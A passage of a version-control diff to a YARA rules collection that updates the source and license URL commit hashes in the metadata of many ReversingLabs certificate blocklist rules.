-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L11104-L11120"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L11104-L11120"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "bc2df95ddf1ef3d5f83d14852e1cf6cbf4b71bfbe88fc97c2a4553e8581ddf47"
 		score = 75
 		quality = 90
@@ -16306,8 +16359,8 @@ rule REVERSINGLABS_Cert_Blocklist_92D9B92F8Cf7A1Ba8B2C025Be730C300 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L11122-L11140"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L11122-L11140"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "2a0be6157e589705ad19756971bd865edad2d54760d03c2e6f47a461b402ad68"
 		score = 75
 		quality = 90
@@ -16331,8 +16384,8 @@ rule REVERSINGLABS_Cert_Blocklist_B8164F7143E1A313003Ab0C834562F1F : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L11142-L11160"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L11142-L11160"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "a42fec2e0e8d37948420f16907f39c3d502c535be98024d04a777dfbc633004d"
 		score = 75
 		quality = 90
@@ -16356,8 +16409,8 @@ rule REVERSINGLABS_Cert_Blocklist_24E4A2B3Db6Be1007B9Ddc91995Bc0C8 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L11162-L11178"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L11162-L11178"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "861691ce7bae4366f3b35d01c84bb0031b54653869f52eaccf20808b1b55d2af"
 		score = 75
 		quality = 90
@@ -16381,8 +16434,8 @@ rule REVERSINGLABS_Cert_Blocklist_881573Fc67Ff7395Dde5Bccfbce5B088 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L11180-L11198"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L11180-L11198"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "ce489a4a2f07181d6fbf295f426deeaf51310e061bac2e56d65b37eeb397ff9a"
 		score = 75
 		quality = 90
@@ -16406,8 +16459,8 @@ rule REVERSINGLABS_Cert_Blocklist_53E1F226Cb77574F8Fbeb5682Da091Bb : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L11200-L11216"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L11200-L11216"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "591846225d5faf3ee8f3102acaad066f0187219044077bbdaf32345613b00965"
 		score = 75
 		quality = 90
@@ -16431,8 +16484,8 @@ rule REVERSINGLABS_Cert_Blocklist_0772B4D1D63233D2B8771997Bc8Da5C4 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L11218-L11234"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L11218-L11234"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "30586a643b29f3c943b3f35bb1639c5b9fa48ecbd776775086e35af502aa4a7a"
 		score = 75
 		quality = 90
@@ -16456,8 +16509,8 @@ rule REVERSINGLABS_Cert_Blocklist_02B6656292310B84022Db5541Bc48Faf : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L11236-L11252"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L11236-L11252"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "40b570b28e10ebd2a1ba515dc3fa45bdb5c0b76044e4dda7a6819976072a67a2"
 		score = 75
 		quality = 90
@@ -16481,8 +16534,8 @@ rule REVERSINGLABS_Cert_Blocklist_64C2505C7306639Fc8Eae544B0305338 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L11254-L11270"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L11254-L11270"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "9b6fb002d603135391958668be0ef805e441928a035c9c4da4bb9915aa3086e8"
 		score = 75
 		quality = 90
@@ -16506,8 +16559,8 @@ rule REVERSINGLABS_Cert_Blocklist_2F96A89Bfec6E44Dd224E8Fd7E72D9Bb : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L11272-L11288"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L11272-L11288"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "c0c8e5c0e2e120ee6b055e9a6b2af3d424bed0832c2619beab658fe01757f69f"
 		score = 75
 		quality = 90
@@ -16531,8 +16584,8 @@ rule REVERSINGLABS_Cert_Blocklist_B649A966410F62999C939384Af553919 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L11290-L11308"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L11290-L11308"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "623a2f931198eacf44fd233065e96a4dcadb5b3bbc7ca56df2b6ae9eafc4faa5"
 		score = 75
 		quality = 90
@@ -16556,8 +16609,8 @@ rule REVERSINGLABS_Cert_Blocklist_45245Eef53Fcf38169C715Cf68F44452 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L11310-L11326"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L11310-L11326"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "7e0c3147e657802e457f6df271b7f5a64c81fd13f936a8935aa991022e4ab238"
 		score = 75
 		quality = 90
@@ -16581,8 +16634,8 @@ rule REVERSINGLABS_Cert_Blocklist_1895433Ee9E2Bd48619D75132262616F : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L11328-L11344"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L11328-L11344"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "f00a29ff5dddae40225ab62cb2d4b9dec1539ad58c8cd27d686480eecdb3e31d"
 		score = 75
 		quality = 90
@@ -16606,8 +16659,8 @@ rule REVERSINGLABS_Cert_Blocklist_1Ffc9825644Caf5B1F521780C5C7F42C : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L11346-L11362"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L11346-L11362"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "1a9263c809f5633d01d4d4d0091c8dc214bad73af0eff3c9a94b33bca513f26d"
 		score = 75
 		quality = 90
@@ -16631,8 +16684,8 @@ rule REVERSINGLABS_Cert_Blocklist_8D52Fb12A2511E86Bbb0Ba75C517Eab0 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L11364-L11382"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L11364-L11382"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "023830ab3d71ed8ecf8f0e271c56dc267dcd000f5ff156c70d31089cd7010da8"
 		score = 75
 		quality = 90
@@ -16656,8 +16709,8 @@ rule REVERSINGLABS_Cert_Blocklist_332Bd5801E8415585E72C87E0E2Ec71D : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L11384-L11400"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L11384-L11400"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "3648c3a8dbcdbd24746b9fa8cb3071d5f5019e5917848d88437158c6cb165445"
 		score = 75
 		quality = 90
@@ -16681,8 +16734,8 @@ rule REVERSINGLABS_Cert_Blocklist_E3B80C0932B52A708477939B0D32186F : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L11402-L11420"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L11402-L11420"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "acdfce4dc25cbc9e9817453d5cf56c7d319bebdf7a039ea47412ec3b2f68cb02"
 		score = 75
 		quality = 90
@@ -16706,8 +16759,8 @@ rule REVERSINGLABS_Cert_Blocklist_C79F817F082986Bef3209F6723C8Da97 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L11422-L11440"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L11422-L11440"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "a5960f4c2ed768ccc5779d3754f51463c7b14a3a887c690944add23fba464f1a"
 		score = 75
 		quality = 90
@@ -16731,8 +16784,8 @@ rule REVERSINGLABS_Cert_Blocklist_1E5Efa53A14599Cc82F56F0790E20B17 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L11442-L11458"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L11442-L11458"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "78cbfeb5d7b58029a5b4107f2a59e892ff9d71788cf74e88ac823cb85ba35a94"
 		score = 75
 		quality = 90
@@ -16756,8 +16809,8 @@ rule REVERSINGLABS_Cert_Blocklist_0Cf2D0B5Bfdd68Cf777A0C12F806A569 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L11460-L11476"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L11460-L11476"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "4d8fd52cd12f9512c0b148f9915860152f108884d29617a5fbfd62500d3a14c4"
 		score = 75
 		quality = 90
@@ -16781,8 +16834,8 @@ rule REVERSINGLABS_Cert_Blocklist_F675139Ea68B897A865A98F8E4611F00 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L11478-L11496"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L11478-L11496"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "2306e90d376f5de8a4eb6d4a696bc1781686d7094cb0a2db48019ee93c1bf60a"
 		score = 75
 		quality = 90
@@ -16806,8 +16859,8 @@ rule REVERSINGLABS_Cert_Blocklist_4728189Fa0F57793484Cdf764F5E283D : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L11498-L11514"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L11498-L11514"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "9ec7e84c77583bd52ccfb8d6d5831f3634ed0a401d8103376c4775b7f2c43d81"
 		score = 75
 		quality = 90
@@ -16831,8 +16884,8 @@ rule REVERSINGLABS_Cert_Blocklist_9Bd81A9Adaf71F1Ff081C1F4A05D7Fd7 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L11516-L11534"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L11516-L11534"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "e275a1fd2eb931030fa8b5fc11cd1b335835aaa553a42455053cb93fef5e6e72"
 		score = 75
 		quality = 90
@@ -16856,8 +16909,8 @@ rule REVERSINGLABS_Cert_Blocklist_C81319D20C6F1F1Aec3398522189D90C : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L11536-L11554"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L11536-L11554"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "2a9f13f5e79a12f7e9d9d4a0dcaac065e1fc5167c67bc9f3fd7ba1c374b26d96"
 		score = 75
 		quality = 90
@@ -16881,8 +16934,8 @@ rule REVERSINGLABS_Cert_Blocklist_C318D876768258A696Ab9Dd825E27Acd : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L11556-L11574"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L11556-L11574"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "691b57929c93d14f8700e0e61170b9248499fd36b80aec90f2054c32d6a3a9eb"
 		score = 75
 		quality = 90
@@ -16906,8 +16959,8 @@ rule REVERSINGLABS_Cert_Blocklist_06Df5C318759D6Ea9D090Bfb2Faf1D94 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L11576-L11592"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L11576-L11592"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "5f151ee5781a15cca4394fdd8200162eae47e9d088a0b1551c9ed22ce11473a2"
 		score = 75
 		quality = 90
@@ -16931,8 +16984,8 @@ rule REVERSINGLABS_Cert_Blocklist_02De1Cc6C487954592F1Bf574Ca2B000 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L11594-L11610"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L11594-L11610"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "40b78005d343684d08bb93e92c51eee10e674e8deb9eec290bc9ffe3b23061b1"
 		score = 75
 		quality = 90
@@ -16956,8 +17009,8 @@ rule REVERSINGLABS_Cert_Blocklist_A32B8B4F1Be43C23Eb2848Ab4Ef06Bb2 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L11612-L11630"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L11612-L11630"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "dd7d44349baaf4a2e2f61b38cef31f288110bb03944fd4593f52a0ab03b9d172"
 		score = 75
 		quality = 90
@@ -16981,8 +17034,8 @@ rule REVERSINGLABS_Cert_Blocklist_626735Ed30E50E3E0553986D806Bfc54 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L11632-L11648"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L11632-L11648"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "0a2acf8528a12fd05cf58c2ed5224f7472d14251b342ce4df6d9c10c6a6decfc"
 		score = 75
 		quality = 90
@@ -17006,8 +17059,8 @@ rule REVERSINGLABS_Cert_Blocklist_34D42E871Ddb1C92Fa20B55B384E1259 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L11650-L11666"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L11650-L11666"
